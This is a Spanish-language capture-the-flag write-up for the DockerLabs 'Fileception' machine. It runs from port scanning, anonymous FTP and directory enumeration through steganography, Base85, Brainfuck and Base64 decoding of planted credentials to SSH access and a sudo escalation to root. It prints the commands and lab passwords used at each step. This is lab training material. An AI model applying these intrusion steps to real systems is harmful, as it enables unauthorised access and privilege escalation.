Fileception DockerLabs (Intermediate)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip fileception.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh fileception.tar
Info:
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-24 06:38 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000028s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 172.17.0.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrw-rw- 1 ftp ftp 75372 Apr 27 02:17 hello_peter.jpg [NSE: writeable]
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 61:8f:91:89:a7:0b:8e:17:b7:dd:38:e0:00:04:59:47 (ECDSA)
|_ 256 8a:15:29:13:ec:aa:f6:20:ca:c8:80:14:56:05:ec:3b (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.83 seconds
Vemos que hay un FTP
que permite el login de anonymous
por lo que haremos lo siguiente.
FTP
ftp anonymous@<IP>
Una vez dentro veremos lo siguiente.
dr-xr-xr-x 1 ftp ftp 4096 Apr 27 02:19 .
dr-xr-xr-x 1 ftp ftp 4096 Apr 27 02:19 ..
-rwxrw-rw- 1 ftp ftp 75372 Apr 27 02:17 hello_peter.jpg
Por lo que nos lo descargamos de la siguiente forma.
get hello_peter.jpg
Una vez hecho esto nos salimos y si intentamos extraer datos no servira de mucho, por lo que lo dejaremos aparcado.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.php (Status: 403) [Size: 275]
/.htaccess.txt (Status: 403) [Size: 275]
/.htaccess.php (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/.htpasswd.html (Status: 403) [Size: 275]
/.htpasswd.txt (Status: 403) [Size: 275]
/.htaccess (Status: 403) [Size: 275]
/.htaccess.html (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 11137]
/server-status (Status: 403) [Size: 275]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
Vemos que no hay gran cosa.
Pero si inspeccionamos la pagina de apache2
veremos lo siguiente.
<!--
¡Hola, Peter!
¿Te acuerdas los libros que te presté de esteganografía? ¿A que estaban buenísimos?
Aquí te dejo una clave que usaras sabiamente en el momento justo. Por favor, no seas tan obvio, la vida no se trata de fuerza bruta.
@UX=h?T9oMA7]7hA7]:YE+*g/GAhM4
Solo te comento, recuerdo que usé este método porque casi nadie lo usa... o si. Lamentablemente, a mi también se me olvido. Solo recuerdo que era base
-->
Vemos que esta en Base85
que decodificado diria lo siguiente:
base_85_decoded_password
Vemos que puede ser una contraseña para extraer datos de la imagen de la siguiente forma.
Steghide
steghide extract -sf hello_peter.jpg
Info:
Enter passphrase:
wrote extracted data to "you_find_me.txt".
Vemos que nos extrae un archivo que si lo leemos pone lo siguiente.
Hola, Peter!
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook. Ook? Ook. Ook. Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook. Ook? Ook. Ook? Ook. Ook! Ook! Ook? Ook! Ook. Ook? Ook. Ook? Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook
! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Oo
k. Ook! Ook. Ook? Ook. Ook! Ook! Ook! Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook? Ook! Ook. Ook? Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! O
ok! Ook! Ook! Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook? Ook! Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook. Ook? Ook. Ook! Ook! Ook! Ook. Ook. Ook. Ook! Ook.
Pone este texto que esta codificado en Brainfuck
decodificado diria lo siguiente.
9h889h23hhss2
Esto puede ser la contraseña de peter
para el ssh
.
SSH
ssh peter@<IP>
Si metemos esa contraseña estaremos dentro y si leemos el mensaje que hay en la /home
.
Escalate user octopus
cat nota_importante.txt
Info:
NO REINICIES EL SISTEMA!!
HAY UN ARCHIVO IMPORTANTE EN TMP
Por lo que nos iremos a /tmp
.
total 28
drwxrwxrwt 1 root root 4096 Aug 24 12:34 .
drwxr-xr-x 1 root root 4096 Aug 24 12:34 ..
-rw-r--r-- 1 ubuntu ubuntu 14558 Apr 27 03:38 importante_octopus.odt
-rw-r--r-- 1 root root 114 Apr 27 02:20 recuerdos_del_sysadmin.txt
Si leemos recuerdos_del_sysadmin.txt
veremos lo siguiente.
Cuando era niño recuerdo que, a los videos, para pasarlos de flv a mp4, solo cambiaba la extensión. Que iluso.
Como no podemos hacer mucho con ese archivo en la maquina nos la pasaremos a nuestro equipo host.
python3 -m http.server 7777
abrimos un servidor de python3
y desde el host nos lo descargamos.
wget http://<IP>:7777/importante_octopus.odt
Una vez hecho esto paramos el servidor de python3
y ya lo tendriamos en nuestro host.
Si lo pasamos de .odt
a .zip
veremos que funciona y que descomprime muchas cosas.
unzip
mv importante_octopus.odt importante_octopus.zip
Si lo descomprimimos.
unzip importante_octopus.zip
Info:
Archive: importante_octopus.zip
creating: Configurations2/accelerator/
creating: Configurations2/floater/
creating: Configurations2/images/Bitmaps/
creating: Configurations2/menubar/
creating: Configurations2/popupmenu/
creating: Configurations2/progressbar/
creating: Configurations2/statusbar/
creating: Configurations2/toolbar/
creating: Configurations2/toolpanel/
inflating: META-INF/manifest.xml
extracting: Thumbnails/thumbnail.png
inflating: content.xml
inflating: leerme.xml
inflating: manifest.rdf
inflating: meta.xml
extracting: mimetype
inflating: settings.xml
inflating: styles.xml
Si leemos el archivo leerme.xml
veremos lo siguiente:
Decirle a Peter que me pase el odt de mis anécdotas, en caso de que se me olviden mis credenciales de administrador... Él no sabe de Esteganografía, nunca sé lo imaginaria esto.
usuario: octopus
password: ODBoMjM4MGgzNHVvdW8zaDQ=
Por lo que vemos esa es la contraseña del usuario octopus
en Base64
que decodificado es lo siguiente.
80h2380h34uouo3h4
Si nos vamos al ssh
de nuevo y cambiamos al usuario octopus
veremos que funciona.
su octopus
Escalate Privilege
Si hacemos sudo -l
veremos lo siguiente.
Matching Defaults entries for octopus on e12e56f13138:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User octopus may run the following commands on e12e56f13138:
(ALL) NOPASSWD: ALL
(ALL : ALL) ALL
Por lo que podremos hacer sudo su
para ser directamente root
.
sudo su
Metemos la contraseña y ya seremos root
.
Last updated